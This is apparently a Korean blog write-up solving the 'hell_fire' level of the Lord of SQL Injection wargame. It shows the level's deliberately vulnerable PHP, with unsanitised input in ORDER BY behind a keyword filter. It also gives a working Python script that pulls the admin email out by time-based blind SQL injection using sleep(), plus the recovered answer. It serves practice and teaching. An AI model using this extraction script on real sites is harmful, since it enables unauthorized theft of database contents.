728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

order by는 정렬에 사용하는 문법이다. 뒤에 칼럼명이 오면 해당 칼럼명을 기준으로 정렬한다. 숫자로 칼럼명을 대체하는 게 가능한데 order by 뒤에 if 함수가 사용되면 숫자의 역할이 달라진다. 하지만 이 문제에선 sleep 여부로 SQL Injection을 수행하기에 중요하진 않다.

Time Based SQL Injection이 가능하기에 sleep 함수를 사용하여 if문 조건이 참인 경우 2초 동안 sleep을 하도록 하였다.

import requests
import time

url='https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#56
def find_email_len():
    em_len=1
    while True:
        start=time.time()
        r=requests.get(url+"?order=if(id='admin' and length(hex(email))={},sleep(2),1)".format(em_len),cookies=cookie)
        end=time.time()

        if end-start>2:
            return em_len
        else:
            em_len+=1
            
#admin_secure_email@emai1.com
def find_email():
    em_len=find_email_len()
    tmp=''
    for i in range(1,em_len+1):
        for j in HEX:
            start=time.time()
            r=requests.get(url+"?order=if(id='admin' and substr(hex(email),{},1)='{}',sleep(2),1)".format(i,j),cookies=cookie)
            end=time.time()
            
            if end-start>2:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
            
find_email()

 

답: ?email=admin_secure_email@emai1.com

728x90

'Lord of SQL Injection' 카테고리의 다른 글

green_dragon  (2) 2023.01.02
evil_wizard  (0) 2023.01.02
dark_eyes  (0) 2023.01.01
iron_golem  (0) 2023.01.01
dragon  (0) 2023.01.01

+ Recent posts